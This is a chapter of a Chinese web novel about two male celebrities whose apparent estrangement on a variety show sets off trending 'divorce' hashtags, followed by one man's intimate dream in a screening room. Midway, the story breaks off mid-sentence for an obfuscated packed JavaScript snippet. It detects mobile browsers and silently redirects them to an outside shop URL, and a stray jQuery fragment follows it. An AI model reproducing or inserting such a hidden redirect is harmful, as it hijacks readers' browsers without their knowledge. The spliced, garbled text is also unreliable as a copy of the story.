拿到命题，到节目第一期播出，小楼里没人闲的下来。
文学组在客厅摆了一地的手札笔记，其余人路过没思绪的，不少直接就地坐下来，看两页走了。
最可怕的还是那种，兴高采烈说我悟了，问悟出什么了不吭声，到夜里乖乖蹲回来，感谢文圣开源，接着看。
文学组的导师正好姓文，人如其名，性子板正，是个爱书如命的人。舍不得下剪刀剪了货真价实的书本，宁愿一张张用手机扫描下来答应，费时又费力。
陈竟客给他提议收些旧杂志旧报纸，文正卿感激一笑，隔日便拉他去搜罗一堆破烂回来，弄得两人身上全是灰。
文正卿不太好意思：“累了吧，要不要喝点水？”
陈竟客低头看看自己沾灰的掌心，浮灰黏了满身满手，尤其是摸书脊的指腹，蹭上一层厚厚的灰色。
他对文正卿笑的温和，道：“没事，我不渴。”
相识两季，文正卿也看出陈竟客和网上传的不太一样，的确没什么明星架子。他站起身，灰就手拍在了裤腿上，四处张罗。
本想给陈竟客递瓶水解渴，闻言蹲回去也不是，立在客厅中央短暂的愣了神。
目光扫到坐在沙发上的人，齐行山膝盖上放了本二手书，手指拈着书页，若有所感看了他一眼。
齐行山头也没抬，从口袋里掏出包湿巾，放在茶几上。并指一推，若无其事地接着看他的书。
一张打开的湿巾摊平在眼前，陈竟客抬首，文正卿有些腼腆，说：“陈老师，待会儿再回来看吧。擦擦手，先喝水休息休息。”
他小声道谢，不用动脑子，也知道是谁递的橄榄枝。
想到在港城那几个月，齐行山要和他出门，除了全副武装把自己包成粽子，身上还常备些别的小玩意。
天热，闷得人背脊滚滚流汗，两双眼睛在墨镜下对视，笑起来也被口罩挡住了。陈竟客是沮丧的粽子，进了空调房就泄气。
齐行山拆了湿巾给他擦手，冰凉的酒精流过指缝，带来丝丝凉意。
“热成这样就不要出门了，包太多反而奇怪。”
他也很小声地反驳：“你说这家好吃的。”
大热天哪有人穿的这么严严实实，鸭舌帽沿都压了眼睛。周围确实有人频频往他们那看，陈竟客抱怨完，总觉得墨镜后的那双眼睛笑得眯了起来。
因为可以听齐行山的语气。
“陈哥，”助理在摄像机外喊他。
陈竟客倏然回神。
掌心的灰被擦了一半，剩下的湿巾脏成褐色。这下倒好，灰也没抹干净，手更脏了。
助理对他打了个手势，指指手机，口型道：岑姐电话。
岑如？
岑如工作时间找他，十有八九不是好事。
他取下衣服上别的麦，接了电话。
今天海市有雨，雾蒙蒙的雨丝飘在空中，走廊边柱子的阴影更模糊，只剩淡灰的一团。
“小客啊，录着节目呢？”
陈竟客听了这个称呼都要头疼。岑如平时心情好喊他小祖宗，心情差直呼其名不在少数。喊他小名，只有一种可能——
他闯了个什么必须摆平的祸，而岑如，恰恰好喜欢听他求饶。
陈竟客抬手捏了捏眉心，道：“我又怎么了？”
女声悠闲：“恭喜啊，又上热搜了。不是你拍的那部电影，我现在坐办公室给你灭火呢。”
“什么热搜？”
出道早几年，他上了什么花边小报岑如都要咬牙切齿，给他从床上摇起来。如今大风大浪见过了，普通热搜工作室撤了就是，何必亲自报到他这里？
电话那头多少有些幸灾乐祸：“昨天周三，晚八点放的第一期，从八点十几分开始大量出现‘行客离婚’的词条，公关放了一夜没管，今天早上起来都盖了广场。”
“具体内容我还没看，你和齐行山究竟是闹哪出，CP超话起码蒸发了五分之一，连官博下都是跳水评论。”
岑如手指在键盘上跳动，热搜刷了一页又一页。
虽然都在她意料之内，但一想到陈竟客听完了的表情，即使看不到，想想也很有意思。
第一期把先导片和正片剪到了一起。嘉宾进场自我介绍时，弹幕还是一片祥和，公布神秘嘉宾，弹幕首次刷了满屏。
自从陈竟客和齐行山前脚跟着后脚进办公室，即刻满屏爆炸，不到两分钟，又齐刷刷变成了问号。
陈竟客坐在齐行山身边，肉眼可见的心不在焉，耳根还留了点红晕没消干净。
导演从主座开始往下传纸笔，传到他那，明显停住了。齐行山等了几秒，敲敲桌子。
两人丝毫没有眼神对视，陈竟客把东西往右一推，低头看自己的策划案。
「？？？」
「这还是行客吗给我干哪来了」
「陈竟客你就这样看都不看吧！！」
「前面打同屏99的都出来」
「别搞」
「认真的吗，这又是什么新人设？？」
弹幕起初只是存疑，眼见进度条越走越短，镜头扫到两人，要么冷着脸，要么低头看别处不讲话。难得互相互动的环节，也要一个赛一个的先移开目光。
岑如看完切片，深深倒吸一口凉气。
刷完评论，更是惨烈。
静候家产惊天一卖：第一个看完，恨不得清除记忆。我不理解为什么上一季感情那么好，新一期就要装陌生人了……
等待晚餐：路人，但全程注意力被这俩吸引过去了，请问是情感修复片场吗好家伙哈哈哈哈#行客离婚#
忘乎所以而罔顾：这就是国民美/帝吗？国民看见了，美/帝呢？当时铺天盖地宣传有多狠，到头来正主还是陌生人，谁能绷住？
我上网我开心啦啦啦：ID card掉了就去补，想疯狂长出血肉继续发。
蘑菇衣草香：神了，新学员也是学歌剧的是吧，合着陈竟客生命中绕不开两个学古典的男人……
纷纷扰扰灯：不是都在吵什么啊，修罗场没人吃？史上最强vs现代最强，两面包夹芝士很美味啊！？！
……
前因后果不复杂，岑如已经着手控评去了，多打一通电话，无非看他笑话。
其中有没有敲打，有。岑如话里话外提醒他注意点，无非就是，别把前尘往事那些风花雪月的东西都带进工作，一是一，二是二，泾渭分明的东西是不能错的。
以往他最省事省心，岑如重话说得少，如今几次三番的提点，说白了公司是公司，交情再重，也不能摆上台面讲话。
年近三十了，现在还要被人当孩子似的管着。
陈竟客自嘲地笑笑。
他连声应好，温柔地哄了岑如几句，把她那点火气全灭了，才挂断电话。
雨下不大，但一直没停。
靠着柱子看了一会，天色悄悄暗下去，陈竟客摸了把脸，重新回到片场。
客厅几乎人满为患，人给书让路，所有人似乎都不约而同想要看点什么找找灵感。唯独Lucy和齐行山是两个意外，负责音乐的部分还没开始，他们反倒闲的没事干。
郑孚之不明就里，居然还真让他找到一本研究木偶戏的书。这两天翻了又翻，不过眉眼里显而易见的沮丧。
到交出第一支mv，只剩不到一周的时间。陈竟客换了个思路，准备找点别的突破口。
命题是一二三木头人，如果真的拘束在传统的小游戏里，表现形式太有限。
有了个大概的思绪，他问PD：“影音室在哪儿？”
等了一天的PD终于抓到人互动，站起身给他指路：“陈老师有了什么思路。”
“一团雾水，”陈竟客笑笑，“准备看点什么电影碰碰运气。”
“那，有什么推荐给观
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909634|213085||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
众朋友的电影吗，陈老师平时在家，都喜欢什么类型的片子？”
“我还以为，我的片单分享已经全被爆出来了，”陈竟客给自己揭底时毫不留情，“甚至看过有人把我大学作业留下来的书评考古了出来。”
陈竟客笑容不改，只说：“至于电影看什么类型，什么都会看一点。”
知道他是业内有名的老油条，要是谁能把什么问题真能从他嘴里问出点东西，都能拿采访界的诺贝尔奖了。PD送他到门口，眼见对方轻轻关上门，也知道这轮又落了空。
影音室没有坐具，懒人沙发像是被坐没了脾气，堆在一旁。地毯不清楚落了多久的灰，东一个西一个丢了几个抱枕，孤零零四散开来。
哪儿有固定机位，他记得。
陈竟客关了灯，打开投影仪，幕布上缓慢浮现出图案。
黑白的图形人物一个接一个登场，他没有看进去。
一二三，木头人，命题在脑海中一个劲打转，怎么把一个游戏变成舞台，什么才算得上是不准说话不准动？
马匹的鬃毛被风吹起，露出粗糙的皮质，它的耳朵时不时在风中抖动，扭头甩了个响鼻。
音乐越来越低，脑中乱绪太多，眼皮越来越重，干脆直接失去了意识。
陈竟客只记得，自己最后一个念头，隐约是——这部片子还是催人睡着。
再醒来，先感觉到的是体温。
有人用手指戳了戳他的脸，语气无奈：“竟客，你又睡着了。”
鼻尖不是影音室发霉的阴冷味，橄榄薄荷的沐浴露清爽，贴身久了，渐渐染上体温的味道。
陈竟客把脸埋进衣料，还没有醒，嘴上却不承认：“没有睡着，放给你看的。”
他忘了今夕何夕，意识也难得松弛下来。
那个声音笑了，说：“那好，你先从我身上起来。”
陈竟客仰面，艰难地支起身子。齐行山手扶在他腰上接力，很没分寸上下摸了摸。
他骤然醒神，推开了眼见就要凑上来索吻的人，齐行山垂着睫，目光还凝在他唇上。
“你推我。”
齐行山垂眼，似乎委屈的不行。
陈竟客顿时被他惹的头皮发麻，不知道刚才那一幕，是不是都被摄影拍了进去。如果真的拍了，他又怎么交代，节目还录不录了！
他不想看热搜再满天飞一轮。
必须立刻和导演那边联系，删了片段。陈竟客想到这，呼吸都急促起来，撑起身便要走。
不料被人拽住手腕，轻轻一拉，拽回了怀里。
“齐行山！还在拍摄，你又是闹哪出？！”
“陈竟客，我没有在闹。”
陈竟客罕见动了真气，身后人却不闻不顾，温暖的胸膛贴着他后背，腰上的力度不松反紧。
落在颈侧的呼吸平稳，齐行山蹭了蹭他，话音软软：“什么拍摄，有我重要吗。”
濡湿的唇贴了他的颈侧，很轻地缓慢上移。每一下力度都不重，烧得陈竟客乱了一半心神，全分心去了那熟悉的触感。
“啪。”
陈竟客梦中惊醒。
影音室灯光大亮，明晃晃照亮了整间屋，幕布上的黑白电影瞬间黯淡下去。
金珊娜按下开关，才发觉里面有人。她不好意思地双手合十，歉然道：“抱歉啊陈老师，那个，进来没看见你。打扰了，你在看电影？”
起身仍有些脱力，做了个噩梦，陈竟客平复了心神，换上了往日的表情：“不打扰，你看吧。”
男人离去时脚步还有些乱，金珊娜撞见他失神的一幕，也不好说什么，毕竟情分还没有亲密到能安慰两句的程度。
她为陈竟客让开路，自己走下台阶。
拿起遥控，电影继续播放，金珊娜看了几帧，了然点头。
确实，这么催人入梦的一部片子，谁没看过几遍，又反复睡着几遍过呢。